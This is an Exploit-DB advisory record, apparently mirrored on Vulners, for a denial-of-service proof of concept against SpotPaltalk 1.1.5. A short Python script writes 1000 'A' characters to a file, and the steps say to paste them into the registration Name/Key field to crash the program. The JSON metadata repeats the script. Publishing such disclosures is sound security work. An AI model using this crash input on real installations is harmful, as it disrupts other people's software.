Search...

SpotPaltalk 1.1.5 - Denial of Service (PoC)

2019-05-10T00:00:00

ID EDB-ID:46822
Type exploitdb
Reporter Exploit-DB
Modified 2019-05-10T00:00:00

Description

                                        
                                            # -*- coding: utf-8 -*-
# Exploit Title: SpotPaltalk 1.1.5 - 'Name/Key' Denial of Service (PoC)
# Date: 09/05/2019
# Author: Alejandra Sánchez
# Vendor Homepage: http://www.nsauditor.com
# Software Link http://www.nsauditor.com/downloads/spotpaltalk_setup.exe
# Version: 1.1.5
# Tested on: Windows 10

# Proof of Concept:
# 1.- Run the python script "SpotPaltalk.py", it will create a new file "SpotPaltalk.txt"
# 2.- Copy the text from the generated SpotPaltalk.txt file to clipboard
# 3.- Open SpotPalTalk
# 4.  Select "Register" &gt; "Enter Registration Code..."
# 5.- Paste clipboard in the Name/Key field 
# 6.- Click 'OK'
# 7.- Crashed

buffer = "\x41" * 1000
f = open ("SpotPaltalk.txt", "w")
f.write(buffer)
f.close()

JSON Vulners Source

Initial Source

{"id": "EDB-ID:46822", "type": "exploitdb", "bulletinFamily": "exploit", "title": "SpotPaltalk 1.1.5 - Denial of Service (PoC)", "description": "", "published": "2019-05-10T00:00:00", "modified": "2019-05-10T00:00:00", "cvss": {"score": 0.0, "vector": "NONE"}, "href": "https://www.exploit-db.com/exploits/46822", "reporter": "Exploit-DB", "references": [], "cvelist": [], "lastseen": "2019-05-10T10:35:57", "viewCount": 74, "enchantments": {"dependencies": {"references": [], "modified": "2019-05-10T10:35:57", "rev": 2}, "score": {"value": -0.2, "vector": "NONE", "modified": "2019-05-10T10:35:57", "rev": 2}, "vulnersScore": -0.2}, "sourceHref": "https://www.exploit-db.com/download/46822", "sourceData": "# -*- coding: utf-8 -*-\r\n# Exploit Title: SpotPaltalk 1.1.5 - 'Name/Key' Denial of Service (PoC)\r\n# Date: 09/05/2019\r\n# Author: Alejandra S\u00e1nchez\r\n# Vendor Homepage: http://www.nsauditor.com\r\n# Software Link http://www.nsauditor.com/downloads/spotpaltalk_setup.exe\r\n# Version: 1.1.5\r\n# Tested on: Windows 10\r\n\r\n# Proof of Concept:\r\n# 1.- Run the python script \"SpotPaltalk.py\", it will create a new file \"SpotPaltalk.txt\"\r\n# 2.- Copy the text from the generated SpotPaltalk.txt file to clipboard\r\n# 3.- Open SpotPalTalk\r\n# 4. Select \"Register\" > \"Enter Registration Code...\"\r\n# 5.- Paste clipboard in the Name/Key field \r\n# 6.- Click 'OK'\r\n# 7.- Crashed\r\n\r\nbuffer = \"\\x41\" * 1000\r\nf = open (\"SpotPaltalk.txt\", \"w\")\r\nf.write(buffer)\r\nf.close()", "osvdbidlist": []}